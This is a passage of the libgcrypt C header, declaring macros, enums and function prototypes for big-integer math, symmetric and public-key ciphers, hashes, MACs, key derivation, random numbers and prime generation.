) #define mpi_neg( w, u) gcry_mpi_neg( (w), (u) ) #define mpi_cmp( u, v ) gcry_mpi_cmp( (u), (v) ) #define mpi_cmp_ui( u, v ) gcry_mpi_cmp_ui( (u), (v) ) #define mpi_is_neg( a ) gcry_mpi_is_neg ((a)) #define mpi_add_ui(w,u,v) gcry_mpi_add_ui((w),(u),(v)) #define mpi_add(w,u,v) gcry_mpi_add ((w),(u),(v)) #define mpi_addm(w,u,v,m) gcry_mpi_addm ((w),(u),(v),(m)) #define mpi_sub_ui(w,u,v) gcry_mpi_sub_ui ((w),(u),(v)) #define mpi_sub(w,u,v) gcry_mpi_sub ((w),(u),(v)) #define mpi_subm(w,u,v,m) gcry_mpi_subm ((w),(u),(v),(m)) #define mpi_mul_ui(w,u,v) gcry_mpi_mul_ui ((w),(u),(v)) #define mpi_mul_2exp(w,u,v) gcry_mpi_mul_2exp ((w),(u),(v)) #define mpi_mul(w,u,v) gcry_mpi_mul ((w),(u),(v)) #define mpi_mulm(w,u,v,m) gcry_mpi_mulm ((w),(u),(v),(m)) #define mpi_powm(w,b,e,m) gcry_mpi_powm ( (w), (b), (e), (m) ) #define mpi_tdiv(q,r,a,m) gcry_mpi_div ( (q), (r), (a), (m), 0) #define mpi_fdiv(q,r,a,m) gcry_mpi_div ( (q), (r), (a), (m), -1) #define mpi_mod(r,a,m) gcry_mpi_mod ((r), (a), (m)) #define mpi_gcd(g,a,b) gcry_mpi_gcd ( (g), (a), (b) ) #define mpi_invm(g,a,b) gcry_mpi_invm ( (g), (a), (b) ) #define mpi_point_new(n) gcry_mpi_point_new((n)) #define mpi_point_release(p) \ do \ { \ gcry_mpi_point_release ((p)); \ (p) = NULL; \ } \ while (0) #define mpi_point_copy(p) gcry_mpi_point_copy((p)) #define mpi_point_get(x,y,z,p) gcry_mpi_point_get((x),(y),(z),(p)) #define mpi_point_snatch_get(x,y,z,p) gcry_mpi_point_snatch_get((x),(y),(z),(p)) #define mpi_point_set(p,x,y,z) gcry_mpi_point_set((p),(x),(y),(z)) #define mpi_point_snatch_set(p,x,y,z) gcry_mpi_point_snatch_set((p),(x),(y),(z)) #define mpi_get_nbits(a) gcry_mpi_get_nbits ((a)) #define mpi_test_bit(a,b) gcry_mpi_test_bit ((a),(b)) #define mpi_set_bit(a,b) gcry_mpi_set_bit ((a),(b)) #define mpi_set_highbit(a,b) gcry_mpi_set_highbit ((a),(b)) #define mpi_clear_bit(a,b) gcry_mpi_clear_bit ((a),(b)) #define mpi_clear_highbit(a,b) gcry_mpi_clear_highbit ((a),(b)) #define mpi_rshift(a,b,c) gcry_mpi_rshift ((a),(b),(c)) #define mpi_lshift(a,b,c) gcry_mpi_lshift ((a),(b),(c)) #define mpi_set_opaque(a,b,c) gcry_mpi_set_opaque( (a), (b), (c) ) #define mpi_get_opaque(a,b) gcry_mpi_get_opaque( (a), (b) ) #endif /* GCRYPT_NO_MPI_MACROS */ /************************************ * * * Symmetric Cipher Functions * * * ************************************/ /* The data object used to hold a handle to an encryption object. */ struct gcry_cipher_handle; typedef struct gcry_cipher_handle *gcry_cipher_hd_t; #ifndef GCRYPT_NO_DEPRECATED typedef struct gcry_cipher_handle *GCRY_CIPHER_HD _GCRY_GCC_ATTR_DEPRECATED; typedef struct gcry_cipher_handle *GcryCipherHd _GCRY_GCC_ATTR_DEPRECATED; #endif /* All symmetric encryption algorithms are identified by their IDs. More IDs may be registered at runtime. */ enum gcry_cipher_algos { GCRY_CIPHER_NONE = 0, GCRY_CIPHER_IDEA = 1, GCRY_CIPHER_3DES = 2, GCRY_CIPHER_CAST5 = 3, GCRY_CIPHER_BLOWFISH = 4, GCRY_CIPHER_SAFER_SK128 = 5, GCRY_CIPHER_DES_SK = 6, GCRY_CIPHER_AES = 7, GCRY_CIPHER_AES192 = 8, GCRY_CIPHER_AES256 = 9, GCRY_CIPHER_TWOFISH = 10, /* Other cipher numbers are above 300 for OpenPGP reasons. */ GCRY_CIPHER_ARCFOUR = 301, /* Fully compatible with RSA's RC4 (tm). */ GCRY_CIPHER_DES = 302, /* Yes, this is single key 56 bit DES. */ GCRY_CIPHER_TWOFISH128 = 303, GCRY_CIPHER_SERPENT128 = 304, GCRY_CIPHER_SERPENT192 = 305, GCRY_CIPHER_SERPENT256 = 306, GCRY_CIPHER_RFC2268_40 = 307, /* Ron's Cipher 2 (40 bit). */ GCRY_CIPHER_RFC2268_128 = 308, /* Ron's Cipher 2 (128 bit). */ GCRY_CIPHER_SEED = 309, /* 128 bit cipher described in RFC4269. */ GCRY_CIPHER_CAMELLIA128 = 310, GCRY_CIPHER_CAMELLIA192 = 311, GCRY_CIPHER_CAMELLIA256 = 312, GCRY_CIPHER_SALSA20 = 313, GCRY_CIPHER_SALSA20R12 = 314, GCRY_CIPHER_GOST28147 = 315, GCRY_CIPHER_CHACHA20 = 316 }; /* The Rijndael algorithm is basically AES, so provide some macros. */ #define GCRY_CIPHER_AES128 GCRY_CIPHER_AES #define GCRY_CIPHER_RIJNDAEL GCRY_CIPHER_AES #define GCRY_CIPHER_RIJNDAEL128 GCRY_CIPHER_AES128 #define GCRY_CIPHER_RIJNDAEL192 GCRY_CIPHER_AES192 #define GCRY_CIPHER_RIJNDAEL256 GCRY_CIPHER_AES256 /* The supported encryption modes. Note that not all of them are supported for each algorithm. */ enum gcry_cipher_modes { GCRY_CIPHER_MODE_NONE = 0, /* Not yet specified. */ GCRY_CIPHER_MODE_ECB = 1, /* Electronic codebook. */ GCRY_CIPHER_MODE_CFB = 2, /* Cipher feedback. */ GCRY_CIPHER_MODE_CBC = 3, /* Cipher block chaining. */ GCRY_CIPHER_MODE_STREAM = 4, /* Used with stream ciphers. */ GCRY_CIPHER_MODE_OFB = 5, /* Outer feedback. */ GCRY_CIPHER_MODE_CTR = 6, /* Counter. */ GCRY_CIPHER_MODE_AESWRAP = 7, /* AES-WRAP algorithm. */ GCRY_CIPHER_MODE_CCM = 8, /* Counter with CBC-MAC. */ GCRY_CIPHER_MODE_GCM = 9, /* Galois Counter Mode. */ GCRY_CIPHER_MODE_POLY1305 = 10, /* Poly1305 based AEAD mode. */ GCRY_CIPHER_MODE_OCB = 11, /* OCB3 mode. */ GCRY_CIPHER_MODE_CFB8 = 12, /* Cipher feedback (8 bit mode). */ GCRY_CIPHER_MODE_XTS = 13 /* XTS mode. */ }; /* Flags used with the open function. */ enum gcry_cipher_flags { GCRY_CIPHER_SECURE = 1, /* Allocate in secure memory. */ GCRY_CIPHER_ENABLE_SYNC = 2, /* Enable CFB sync mode. */ GCRY_CIPHER_CBC_CTS = 4, /* Enable CBC cipher text stealing (CTS). */ GCRY_CIPHER_CBC_MAC = 8 /* Enable CBC message auth. code (MAC). */ }; /* GCM works only with blocks of 128 bits */ #define GCRY_GCM_BLOCK_LEN (128 / 8) /* CCM works only with blocks of 128 bits. */ #define GCRY_CCM_BLOCK_LEN (128 / 8) /* OCB works only with blocks of 128 bits. */ #define GCRY_OCB_BLOCK_LEN (128 / 8) /* XTS works only with blocks of 128 bits. */ #define GCRY_XTS_BLOCK_LEN (128 / 8) /* Create a handle for algorithm ALGO to be used in MODE. FLAGS may be given as an bitwise OR of the gcry_cipher_flags values. */ gcry_error_t gcry_cipher_open (gcry_cipher_hd_t *handle, int algo, int mode, unsigned int flags); /* Close the cipher handle H and release all resource. */ void gcry_cipher_close (gcry_cipher_hd_t h); /* Perform various operations on the cipher object H. */ gcry_error_t gcry_cipher_ctl (gcry_cipher_hd_t h, int cmd, void *buffer, size_t buflen); /* Retrieve various information about the cipher object H. */ gcry_error_t gcry_cipher_info (gcry_cipher_hd_t h, int what, void *buffer, size_t *nbytes); /* Retrieve various information about the cipher algorithm ALGO. */ gcry_error_t gcry_cipher_algo_info (int algo, int what, void *buffer, size_t *nbytes); /* Map the cipher algorithm whose ID is contained in ALGORITHM to a string representation of the algorithm name. For unknown algorithm IDs this function returns "?". */ const char *gcry_cipher_algo_name (int algorithm) _GCRY_GCC_ATTR_PURE; /* Map the algorithm name NAME to an cipher algorithm ID. Return 0 if the algorithm name is not known. */ int gcry_cipher_map_name (const char *name) _GCRY_GCC_ATTR_PURE; /* Given an ASN.1 object identifier in standard IETF dotted decimal format in STRING, return the encryption mode associated with that OID or 0 if not known or applicable. */ int gcry_cipher_mode_from_oid (const char *string) _GCRY_GCC_ATTR_PURE; /* Encrypt the plaintext of size INLEN in IN using the cipher handle H into the buffer OUT which has an allocated length of OUTSIZE. For most algorithms it is possible to pass NULL for in and 0 for INLEN and do a in-place decryption of the data provided in OUT. */ gcry_error_t gcry_cipher_encrypt (gcry_cipher_hd_t h, void *out, size_t outsize, const void *in, size_t inlen); /* The counterpart to gcry_cipher_encrypt. */ gcry_error_t gcry_cipher_decrypt (gcry_cipher_hd_t h, void *out, size_t outsize, const void *in, size_t inlen); /* Set KEY of length KEYLEN bytes for the cipher handle HD. */ gcry_error_t gcry_cipher_setkey (gcry_cipher_hd_t hd, const void *key, size_t keylen); /* Set initialization vector IV of length IVLEN for the cipher handle HD. */ gcry_error_t gcry_cipher_setiv (gcry_cipher_hd_t hd, const void *iv, size_t ivlen); /* Provide additional authentication data for AEAD modes/ciphers. */ gcry_error_t gcry_cipher_authenticate (gcry_cipher_hd_t hd, const void *abuf, size_t abuflen); /* Get authentication tag for AEAD modes/ciphers. */ gcry_error_t gcry_cipher_gettag (gcry_cipher_hd_t hd, void *outtag, size_t taglen); /* Check authentication tag for AEAD modes/ciphers. */ gcry_error_t gcry_cipher_checktag (gcry_cipher_hd_t hd, const void *intag, size_t taglen); /* Reset the handle to the state after open. */ #define gcry_cipher_reset(h) gcry_cipher_ctl ((h), GCRYCTL_RESET, NULL, 0) /* Perform the OpenPGP sync operation if this is enabled for the cipher handle H. */ #define gcry_cipher_sync(h) gcry_cipher_ctl( (h), GCRYCTL_CFB_SYNC, NULL, 0) /* Enable or disable CTS in future calls to gcry_encrypt(). CBC mode only. */ #define gcry_cipher_cts(h,on) gcry_cipher_ctl( (h), GCRYCTL_SET_CBC_CTS, \ NULL, on ) #define gcry_cipher_set_sbox(h,oid) gcry_cipher_ctl( (h), GCRYCTL_SET_SBOX, \ (void *) oid, 0); /* Indicate to the encrypt and decrypt functions that the next call provides the final data. Only used with some modes. */ #define gcry_cipher_final(a) \ gcry_cipher_ctl ((a), GCRYCTL_FINALIZE, NULL, 0) /* Set counter for CTR mode. (CTR,CTRLEN) must denote a buffer of block size length, or (NULL,0) to set the CTR to the all-zero block. */ gpg_error_t gcry_cipher_setctr (gcry_cipher_hd_t hd, const void *ctr, size_t ctrlen); /* Retrieve the key length in bytes used with algorithm A. */ size_t gcry_cipher_get_algo_keylen (int algo); /* Retrieve the block length in bytes used with algorithm A. */ size_t gcry_cipher_get_algo_blklen (int algo); /* Return 0 if the algorithm A is available for use. */ #define gcry_cipher_test_algo(a) \ gcry_cipher_algo_info( (a), GCRYCTL_TEST_ALGO, NULL, NULL ) /************************************ * * * Asymmetric Cipher Functions * * * ************************************/ /* The algorithms and their IDs we support. */ enum gcry_pk_algos { GCRY_PK_RSA = 1, /* RSA */ GCRY_PK_RSA_E = 2, /* (deprecated: use 1). */ GCRY_PK_RSA_S = 3, /* (deprecated: use 1). */ GCRY_PK_ELG_E = 16, /* (deprecated: use 20). */ GCRY_PK_DSA = 17, /* Digital Signature Algorithm. */ GCRY_PK_ECC = 18, /* Generic ECC. */ GCRY_PK_ELG = 20, /* Elgamal */ GCRY_PK_ECDSA = 301, /* (only for external use). */ GCRY_PK_ECDH = 302, /* (only for external use). */ GCRY_PK_EDDSA = 303 /* (only for external use). */ }; /* Flags describing usage capabilities of a PK algorithm. */ #define GCRY_PK_USAGE_SIGN 1 /* Good for signatures. */ #define GCRY_PK_USAGE_ENCR 2 /* Good for encryption. */ #define GCRY_PK_USAGE_CERT 4 /* Good to certify other keys. */ #define GCRY_PK_USAGE_AUTH 8 /* Good for authentication. */ #define GCRY_PK_USAGE_UNKN 128 /* Unknown usage flag. */ /* Modes used with gcry_pubkey_get_sexp. */ #define GCRY_PK_GET_PUBKEY 1 #define GCRY_PK_GET_SECKEY 2 /* Encrypt the DATA using the public key PKEY and store the result as a newly created S-expression at RESULT. */ gcry_error_t gcry_pk_encrypt (gcry_sexp_t *result, gcry_sexp_t data, gcry_sexp_t pkey); /* Decrypt the DATA using the private key SKEY and store the result as a newly created S-expression at RESULT. */ gcry_error_t gcry_pk_decrypt (gcry_sexp_t *result, gcry_sexp_t data, gcry_sexp_t skey); /* Sign the DATA using the private key SKEY and store the result as a newly created S-expression at RESULT. */ gcry_error_t gcry_pk_sign (gcry_sexp_t *result, gcry_sexp_t data, gcry_sexp_t skey); /* Check the signature SIGVAL on DATA using the public key PKEY. */ gcry_error_t gcry_pk_verify (gcry_sexp_t sigval, gcry_sexp_t data, gcry_sexp_t pkey); /* Check that private KEY is sane. */ gcry_error_t gcry_pk_testkey (gcry_sexp_t key); /* Generate a new key pair according to the parameters given in S_PARMS. The new key pair is returned in as an S-expression in R_KEY. */ gcry_error_t gcry_pk_genkey (gcry_sexp_t *r_key, gcry_sexp_t s_parms); /* Catch all function for miscellaneous operations. */ gcry_error_t gcry_pk_ctl (int cmd, void *buffer, size_t buflen); /* Retrieve information about the public key algorithm ALGO. */ gcry_error_t gcry_pk_algo_info (int algo, int what, void *buffer, size_t *nbytes); /* Map the public key algorithm whose ID is contained in ALGORITHM to a string representation of the algorithm name. For unknown algorithm IDs this functions returns "?". */ const char *gcry_pk_algo_name (int algorithm) _GCRY_GCC_ATTR_PURE; /* Map the algorithm NAME to a public key algorithm Id. Return 0 if the algorithm name is not known. */ int gcry_pk_map_name (const char* name) _GCRY_GCC_ATTR_PURE; /* Return what is commonly referred as the key length for the given public or private KEY. */ unsigned int gcry_pk_get_nbits (gcry_sexp_t key) _GCRY_GCC_ATTR_PURE; /* Return the so called KEYGRIP which is the SHA-1 hash of the public key parameters expressed in a way depending on the algorithm. */ unsigned char *gcry_pk_get_keygrip (gcry_sexp_t key, unsigned char *array); /* Return the name of the curve matching KEY. */ const char *gcry_pk_get_curve (gcry_sexp_t key, int iterator, unsigned int *r_nbits); /* Return an S-expression with the parameters of the named ECC curve NAME. ALGO must be set to an ECC algorithm. */ gcry_sexp_t gcry_pk_get_param (int algo, const char *name); /* Return 0 if the public key algorithm A is available for use. */ #define gcry_pk_test_algo(a) \ gcry_pk_algo_info( (a), GCRYCTL_TEST_ALGO, NULL, NULL ) /* Return an S-expression representing the context CTX. */ gcry_error_t gcry_pubkey_get_sexp (gcry_sexp_t *r_sexp, int mode, gcry_ctx_t ctx); /************************************ * * * Cryptograhic Hash Functions * * * ************************************/ /* Algorithm IDs for the hash functions we know about. Not all of them are implemented. */ enum gcry_md_algos { GCRY_MD_NONE = 0, GCRY_MD_MD5 = 1, GCRY_MD_SHA1 = 2, GCRY_MD_RMD160 = 3, GCRY_MD_MD2 = 5, GCRY_MD_TIGER = 6, /* TIGER/192 as used by gpg <= 1.3.2. */ GCRY_MD_HAVAL = 7, /* HAVAL, 5 pass, 160 bit. */ GCRY_MD_SHA256 = 8, GCRY_MD_SHA384 = 9, GCRY_MD_SHA512 = 10, GCRY_MD_SHA224 = 11, GCRY_MD_MD4 = 301, GCRY_MD_CRC32 = 302, GCRY_MD_CRC32_RFC1510 = 303, GCRY_MD_CRC24_RFC2440 = 304, GCRY_MD_WHIRLPOOL = 305, GCRY_MD_TIGER1 = 306, /* TIGER fixed. */ GCRY_MD_TIGER2 = 307, /* TIGER2 variant. */ GCRY_MD_GOSTR3411_94 = 308, /* GOST R 34.11-94. */ GCRY_MD_STRIBOG256 = 309, /* GOST R 34.11-2012, 256 bit. */ GCRY_MD_STRIBOG512 = 310, /* GOST R 34.11-2012, 512 bit. */ GCRY_MD_GOSTR3411_CP = 311, /* GOST R 34.11-94 with CryptoPro-A S-Box. */ GCRY_MD_SHA3_224 = 312, GCRY_MD_SHA3_256 = 313, GCRY_MD_SHA3_384 = 314, GCRY_MD_SHA3_512 = 315, GCRY_MD_SHAKE128 = 316, GCRY_MD_SHAKE256 = 317, GCRY_MD_BLAKE2B_512 = 318, GCRY_MD_BLAKE2B_384 = 319, GCRY_MD_BLAKE2B_256 = 320, GCRY_MD_BLAKE2B_160 = 321, GCRY_MD_BLAKE2S_256 = 322, GCRY_MD_BLAKE2S_224 = 323, GCRY_MD_BLAKE2S_160 = 324, GCRY_MD_BLAKE2S_128 = 325 }; /* Flags used with the open function. */ enum gcry_md_flags { GCRY_MD_FLAG_SECURE = 1, /* Allocate all buffers in "secure" memory. */ GCRY_MD_FLAG_HMAC = 2, /* Make an HMAC out of this algorithm. */ GCRY_MD_FLAG_BUGEMU1 = 0x0100 }; /* (Forward declaration.) */ struct gcry_md_context; /* This object is used to hold a handle to a message digest object. This structure is private - only to be used by the public gcry_md_* macros. */ typedef struct gcry_md_handle { /* Actual context. */ struct gcry_md_context *ctx; /* Buffer management. */ int bufpos; int bufsize; unsigned char buf[1]; } *gcry_md_hd_t; /* Compatibility types, do not use them. */ #ifndef GCRYPT_NO_DEPRECATED typedef struct gcry_md_handle *GCRY_MD_HD _GCRY_GCC_ATTR_DEPRECATED; typedef struct gcry_md_handle *GcryMDHd _GCRY_GCC_ATTR_DEPRECATED; #endif /* Create a message digest object for algorithm ALGO. FLAGS may be given as an bitwise OR of the gcry_md_flags values. ALGO may be given as 0 if the algorithms to be used are later set using gcry_md_enable. */ gcry_error_t gcry_md_open (gcry_md_hd_t *h, int algo, unsigned int flags); /* Release the message digest object HD. */ void gcry_md_close (gcry_md_hd_t hd); /* Add the message digest algorithm ALGO to the digest object HD. */ gcry_error_t gcry_md_enable (gcry_md_hd_t hd, int algo); /* Create a new digest object as an exact copy of the object HD. */ gcry_error_t gcry_md_copy (gcry_md_hd_t *bhd, gcry_md_hd_t ahd); /* Reset the digest object HD to its initial state. */ void gcry_md_reset (gcry_md_hd_t hd); /* Perform various operations on the digest object HD. */ gcry_error_t gcry_md_ctl (gcry_md_hd_t hd, int cmd, void *buffer, size_t buflen); /* Pass LENGTH bytes of data in BUFFER to the digest object HD so that it can update the digest values. This is the actual hash function. */ void gcry_md_write (gcry_md_hd_t hd, const void *buffer, size_t length); /* Read out the final digest from HD return the digest value for algorithm ALGO. */ unsigned char *gcry_md_read (gcry_md_hd_t hd, int algo); /* Read more output from algorithm ALGO to BUFFER of size LENGTH from * digest object HD. Algorithm needs to be 'expendable-output function'. */ gpg_error_t gcry_md_extract (gcry_md_hd_t hd, int algo, void *buffer, size_t length); /* Convenience function to calculate the hash from the data in BUFFER of size LENGTH using the algorithm ALGO avoiding the creation of a hash object. The hash is returned in the caller provided buffer DIGEST which must be large enough to hold the digest of the given algorithm. */ void gcry_md_hash_buffer (int algo, void *digest, const void *buffer, size_t length); /* Convenience function to hash multiple buffers. */ gpg_error_t gcry_md_hash_buffers (int algo, unsigned int flags, void *digest, const gcry_buffer_t *iov, int iovcnt); /* Retrieve the algorithm used with HD. This does not work reliable if more than one algorithm is enabled in HD. */ int gcry_md_get_algo (gcry_md_hd_t hd); /* Retrieve the length in bytes of the digest yielded by algorithm ALGO. */ unsigned int gcry_md_get_algo_dlen (int algo); /* Return true if the the algorithm ALGO is enabled in the digest object A. */ int gcry_md_is_enabled (gcry_md_hd_t a, int algo); /* Return true if the digest object A is allocated in "secure" memory. */ int gcry_md_is_secure (gcry_md_hd_t a); /* Deprecated: Use gcry_md_is_enabled or gcry_md_is_secure. */ gcry_error_t gcry_md_info (gcry_md_hd_t h, int what, void *buffer, size_t *nbytes) _GCRY_ATTR_INTERNAL; /* Retrieve various information about the algorithm ALGO. */ gcry_error_t gcry_md_algo_info (int algo, int what, void *buffer, size_t *nbytes); /* Map the digest algorithm id ALGO to a string representation of the algorithm name. For unknown algorithms this function returns "?". */ const char *gcry_md_algo_name (int algo) _GCRY_GCC_ATTR_PURE; /* Map the algorithm NAME to a digest algorithm Id. Return 0 if the algorithm name is not known. */ int gcry_md_map_name (const char* name) _GCRY_GCC_ATTR_PURE; /* For use with the HMAC feature, the set MAC key to the KEY of KEYLEN bytes. */ gcry_error_t gcry_md_setkey (gcry_md_hd_t hd, const void *key, size_t keylen); /* Start or stop debugging for digest handle HD; i.e. create a file named dbgmd-<n>.<suffix> while hashing. If SUFFIX is NULL, debugging stops and the file will be closed. */ void gcry_md_debug (gcry_md_hd_t hd, const char *suffix); /* Update the hash(s) of H with the character C. This is a buffered version of the gcry_md_write function. */ #define gcry_md_putc(h,c) \ do { \ gcry_md_hd_t h__ = (h); \ if( (h__)->bufpos == (h__)->bufsize ) \ gcry_md_write( (h__), NULL, 0 ); \ (h__)->buf[(h__)->bufpos++] = (c) & 0xff; \ } while(0) /* Finalize the digest calculation. This is not really needed because gcry_md_read() does this implicitly. */ #define gcry_md_final(a) \ gcry_md_ctl ((a), GCRYCTL_FINALIZE, NULL, 0) /* Return 0 if the algorithm A is available for use. */ #define gcry_md_test_algo(a) \ gcry_md_algo_info( (a), GCRYCTL_TEST_ALGO, NULL, NULL ) /* Return an DER encoded ASN.1 OID for the algorithm A in buffer B. N must point to size_t variable with the available size of buffer B. After return it will receive the actual size of the returned OID. */ #define gcry_md_get_asnoid(a,b,n) \ gcry_md_algo_info((a), GCRYCTL_GET_ASNOID, (b), (n)) /********************************************** * * * Message Authentication Code Functions * * * **********************************************/ /* The data object used to hold a handle to an encryption object. */ struct gcry_mac_handle; typedef struct gcry_mac_handle *gcry_mac_hd_t; /* Algorithm IDs for the hash functions we know about. Not all of them are implemented. */ enum gcry_mac_algos { GCRY_MAC_NONE = 0, GCRY_MAC_HMAC_SHA256 = 101, GCRY_MAC_HMAC_SHA224 = 102, GCRY_MAC_HMAC_SHA512 = 103, GCRY_MAC_HMAC_SHA384 = 104, GCRY_MAC_HMAC_SHA1 = 105, GCRY_MAC_HMAC_MD5 = 106, GCRY_MAC_HMAC_MD4 = 107, GCRY_MAC_HMAC_RMD160 = 108, GCRY_MAC_HMAC_TIGER1 = 109, /* The fixed TIGER variant */ GCRY_MAC_HMAC_WHIRLPOOL = 110, GCRY_MAC_HMAC_GOSTR3411_94 = 111, GCRY_MAC_HMAC_STRIBOG256 = 112, GCRY_MAC_HMAC_STRIBOG512 = 113, GCRY_MAC_HMAC_MD2 = 114, GCRY_MAC_HMAC_SHA3_224 = 115, GCRY_MAC_HMAC_SHA3_256 = 116, GCRY_MAC_HMAC_SHA3_384 = 117, GCRY_MAC_HMAC_SHA3_512 = 118, GCRY_MAC_CMAC_AES = 201, GCRY_MAC_CMAC_3DES = 202, GCRY_MAC_CMAC_CAMELLIA = 203, GCRY_MAC_CMAC_CAST5 = 204, GCRY_MAC_CMAC_BLOWFISH = 205, GCRY_MAC_CMAC_TWOFISH = 206, GCRY_MAC_CMAC_SERPENT = 207, GCRY_MAC_CMAC_SEED = 208, GCRY_MAC_CMAC_RFC2268 = 209, GCRY_MAC_CMAC_IDEA = 210, GCRY_MAC_CMAC_GOST28147 = 211, GCRY_MAC_GMAC_AES = 401, GCRY_MAC_GMAC_CAMELLIA = 402, GCRY_MAC_GMAC_TWOFISH = 403, GCRY_MAC_GMAC_SERPENT = 404, GCRY_MAC_GMAC_SEED = 405, GCRY_MAC_POLY1305 = 501, GCRY_MAC_POLY1305_AES = 502, GCRY_MAC_POLY1305_CAMELLIA = 503, GCRY_MAC_POLY1305_TWOFISH = 504, GCRY_MAC_POLY1305_SERPENT = 505, GCRY_MAC_POLY1305_SEED = 506 }; /* Flags used with the open function. */ enum gcry_mac_flags { GCRY_MAC_FLAG_SECURE = 1 /* Allocate all buffers in "secure" memory. */ }; /* Create a MAC handle for algorithm ALGO. FLAGS may be given as an bitwise OR of the gcry_mac_flags values. CTX maybe NULL or gcry_ctx_t object to be associated with HANDLE. */ gcry_error_t gcry_mac_open (gcry_mac_hd_t *handle, int algo, unsigned int flags, gcry_ctx_t ctx); /* Close the MAC handle H and release all resource. */ void gcry_mac_close (gcry_mac_hd_t h); /* Perform various operations on the MAC object H. */ gcry_error_t gcry_mac_ctl (gcry_mac_hd_t h, int cmd, void *buffer, size_t buflen); /* Retrieve various information about the MAC algorithm ALGO. */ gcry_error_t gcry_mac_algo_info (int algo, int what, void *buffer, size_t *nbytes); /* Set KEY of length KEYLEN bytes for the MAC handle HD. */ gcry_error_t gcry_mac_setkey (gcry_mac_hd_t hd, const void *key, size_t keylen); /* Set initialization vector IV of length IVLEN for the MAC handle HD. */ gcry_error_t gcry_mac_setiv (gcry_mac_hd_t hd, const void *iv, size_t ivlen); /* Pass LENGTH bytes of data in BUFFER to the MAC object HD so that it can update the MAC values. */ gcry_error_t gcry_mac_write (gcry_mac_hd_t hd, const void *buffer, size_t length); /* Read out the final authentication code from the MAC object HD to BUFFER. */ gcry_error_t gcry_mac_read (gcry_mac_hd_t hd, void *buffer, size_t *buflen); /* Verify the final authentication code from the MAC object HD with BUFFER. */ gcry_error_t gcry_mac_verify (gcry_mac_hd_t hd, const void *buffer, size_t buflen); /* Retrieve the algorithm used with MAC. */ int gcry_mac_get_algo (gcry_mac_hd_t hd); /* Retrieve the length in bytes of the MAC yielded by algorithm ALGO. */ unsigned int gcry_mac_get_algo_maclen (int algo); /* Retrieve the default key length in bytes used with algorithm A. */ unsigned int gcry_mac_get_algo_keylen (int algo); /* Map the MAC algorithm whose ID is contained in ALGORITHM to a string representation of the algorithm name. For unknown algorithm IDs this function returns "?". */ const char *gcry_mac_algo_name (int algorithm) _GCRY_GCC_ATTR_PURE; /* Map the algorithm name NAME to an MAC algorithm ID. Return 0 if the algorithm name is not known. */ int gcry_mac_map_name (const char *name) _GCRY_GCC_ATTR_PURE; /* Reset the handle to the state after open/setkey. */ #define gcry_mac_reset(h) gcry_mac_ctl ((h), GCRYCTL_RESET, NULL, 0) /* Return 0 if the algorithm A is available for use. */ #define gcry_mac_test_algo(a) \ gcry_mac_algo_info( (a), GCRYCTL_TEST_ALGO, NULL, NULL ) /****************************** * * * Key Derivation Functions * * * ******************************/ /* Algorithm IDs for the KDFs. */ enum gcry_kdf_algos { GCRY_KDF_NONE = 0, GCRY_KDF_SIMPLE_S2K = 16, GCRY_KDF_SALTED_S2K = 17, GCRY_KDF_ITERSALTED_S2K = 19, GCRY_KDF_PBKDF1 = 33, GCRY_KDF_PBKDF2 = 34, GCRY_KDF_SCRYPT = 48 }; /* Derive a key from a passphrase. */ gpg_error_t gcry_kdf_derive (const void *passphrase, size_t passphraselen, int algo, int subalgo, const void *salt, size_t saltlen, unsigned long iterations, size_t keysize, void *keybuffer); /************************************ * * * Random Generating Functions * * * ************************************/ /* The type of the random number generator. */ enum gcry_rng_types { GCRY_RNG_TYPE_STANDARD = 1, /* The default CSPRNG generator. */ GCRY_RNG_TYPE_FIPS = 2, /* The FIPS X9.31 AES generator. */ GCRY_RNG_TYPE_SYSTEM = 3 /* The system's native generator. */ }; /* The possible values for the random quality. The rule of thumb is to use STRONG for session keys and VERY_STRONG for key material. WEAK is usually an alias for STRONG and should not be used anymore (except with gcry_mpi_randomize); use gcry_create_nonce instead. */ typedef enum gcry_random_level { GCRY_WEAK_RANDOM = 0, GCRY_STRONG_RANDOM = 1, GCRY_VERY_STRONG_RANDOM = 2 } gcry_random_level_t; /* Fill BUFFER with LENGTH bytes of random, using random numbers of quality LEVEL. */ void gcry_randomize (void *buffer, size_t length, enum gcry_random_level level); /* Add the external random from BUFFER with LENGTH bytes into the pool. QUALITY should either be -1 for unknown or in the range of 0 to 100 */ gcry_error_t gcry_random_add_bytes (const void *buffer, size_t length, int quality); /* If random numbers are used in an application, this macro should be called from time to time so that new stuff gets added to the internal pool of the RNG. */ #define gcry_fast_random_poll() gcry_control (GCRYCTL_FAST_POLL, NULL) /* Return NBYTES of allocated random using a random numbers of quality LEVEL. */ void *gcry_random_bytes (size_t nbytes, enum gcry_random_level level) _GCRY_GCC_ATTR_MALLOC; /* Return NBYTES of allocated random using a random numbers of quality LEVEL. The random numbers are created returned in "secure" memory. */ void *gcry_random_bytes_secure (size_t nbytes, enum gcry_random_level level) _GCRY_GCC_ATTR_MALLOC; /* Set the big integer W to a random value of NBITS using a random generator with quality LEVEL. Note that by using a level of GCRY_WEAK_RANDOM gcry_create_nonce is used internally. */ void gcry_mpi_randomize (gcry_mpi_t w, unsigned int nbits, enum gcry_random_level level); /* Create an unpredicable nonce of LENGTH bytes in BUFFER. */ void gcry_create_nonce (void *buffer, size_t length); /*******************************/ /* */ /* Prime Number Functions */ /* */ /*******************************/ /* Mode values passed to a gcry_prime_check_func_t. */ #define GCRY_PRIME_CHECK_AT_FINISH 0 #define GCRY_PRIME_CHECK_AT_GOT_PRIME 1 #define GCRY_PRIME_CHECK_AT_MAYBE_PRIME 2 /* The function should return 1 if the operation shall continue, 0 to reject the prime candidate. */ typedef int (*gcry_prime_check_func_t) (void *arg, int mode, gcry_mpi_t candidate); /* Flags for gcry_prime_generate(): */ /* Allocate prime numbers and factors in secure memory. */ #define GCRY_PRIME_FLAG_SECRET (1 << 0) /* Make sure that at least one prime factor is of size `FACTOR_BITS'. */ #define GCRY_PRIME_FLAG_SPECIAL_FACTOR (1 << 1) /* Generate a new prime number of PRIME_BITS bits and store it in PRIME. If FACTOR_BITS is non-zero, one of the prime factors of (prime - 1) / 2 must be FACTOR_BITS bits long. If FACTORS is non-zero, allocate a new, NULL-terminated array holding the prime factors and store it in FACTORS. FLAGS might be used to influence the prime number generation process. */ gcry_error_t gcry_prime_generate (gcry_mpi_t *prime, unsigned int prime_bits, unsigned int factor_bits, gcry_mpi_t **factors, gcry_prime_check_func_t cb_func, void *cb_arg, gcry_random_level_t random_level, unsigned int flags); /* Find a generator for PRIME where the factorization of (prime-1) is in the NULL terminated array FACTORS. Return the generator as a newly allocated MPI in 